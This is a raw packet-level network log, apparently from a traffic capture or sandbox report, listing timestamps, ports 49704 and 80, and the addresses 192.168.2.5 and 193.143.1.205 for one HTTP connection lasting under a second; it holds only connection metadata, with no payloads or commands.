Jan 11, 2025 02:20:44.746556044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.746592045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.746599913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746618986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.746659040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.757481098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.766119957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766136885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766154051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766210079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.766253948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766271114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766295910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.766448021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766463041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766478062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766484976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.766495943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766515017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.766613007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766628981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.766649961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.802453041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802484035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802527905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802576065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802592993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.802599907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802618980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802628040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.802651882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.802701950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802738905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802742004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.802757025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802788973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.802799940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802824020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.802861929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.834446907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834500074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834542990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834563017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834605932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834621906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834640980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834656954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834690094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.834690094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.834690094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.834765911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834781885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834790945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.834801912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834820032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.834878922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834894896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834911108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.834913015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.834943056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.835016966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.835032940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.835067987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.866444111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866468906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866488934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866511106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866559029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.866672993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866708994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866715908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.866729975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866746902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.866761923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866780996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866797924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.866897106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866916895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866934061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.866936922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.866981030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867057085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867078066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867109060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867119074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867139101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867187023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867199898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867218971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867254019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867254972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867332935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867353916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867376089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867408991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867428064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867444038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867578030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867598057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867614031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867618084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867664099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867693901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867713928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867733955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867747068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867753029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867782116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.867865086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867922068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867940903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.867957115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868053913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868072987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868091106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868092060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868112087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868132114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868282080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868302107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868316889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868320942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868339062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868356943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868360043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868376970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868395090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868480921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868514061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868535995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868552923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868591070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868602037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868623018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868653059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868705034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868724108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868745089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868762016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868870974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868891001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868906021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.868910074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.868942976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.872684956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872777939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872797012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872826099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.872826099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872849941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872872114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.872910976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872930050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872947931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.872951984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872971058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.872982979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.872992992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873024940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873058081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873075962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873094082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873110056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873112917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873131990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873147964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873151064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873184919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873280048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873298883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873317957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873333931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873400927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873434067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873483896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873502970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873541117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873572111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873590946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873610020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873620033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873730898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873749971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873759985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873773098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873799086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873806953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873816967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873837948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873856068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873905897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.873939037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.873987913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.874006033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.874032974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.874042988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.874228001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.874260902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.874274015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.874291897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.874320030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.874362946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.894800901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.894829035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.894843102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.894865990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.894897938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.894954920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.894978046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.895015001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.895025969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.895029068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.895044088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.895064116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.926871061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.926917076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.926930904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.926947117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.926981926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927016020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927073956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927081108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927094936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927109957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927133083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927222013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927237988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927273035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927294970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927309036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927337885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927345037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927371025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927508116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927521944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927537918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927551985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927552938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927567959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927581072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927584887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927596092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927613974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927741051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927755117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927771091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.927773952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.927798986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959177971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959199905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959216118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959239006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959254026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959333897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959336042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959352016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959382057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959481955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959496021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959511995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959526062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959527016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959541082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959544897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959594965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959701061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959714890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959755898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959845066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959858894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959872007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959886074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959891081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959901094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959917068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959925890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.959933043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.959949970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960141897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960156918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960208893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960223913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960228920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960238934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960247040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960253954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960270882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960274935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960305929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960580111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960594893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960608006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960623026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960628033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960637093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960652113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960660934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960669994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960684061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960684061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960717916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960891008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960906982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960921049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960935116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960938931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.960951090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960966110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.960975885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961014032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961123943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961219072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961235046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961247921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961251974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961261988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961280107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961285114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961313963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961504936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961519003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961532116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961546898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961560011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961574078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961589098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961602926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961616993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961632013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961641073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961673021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961858988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961872101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961916924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.961971998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961987019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.961999893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962014914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962032080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962040901 CET	49704	80	192.168.2.5	193.143.1.205
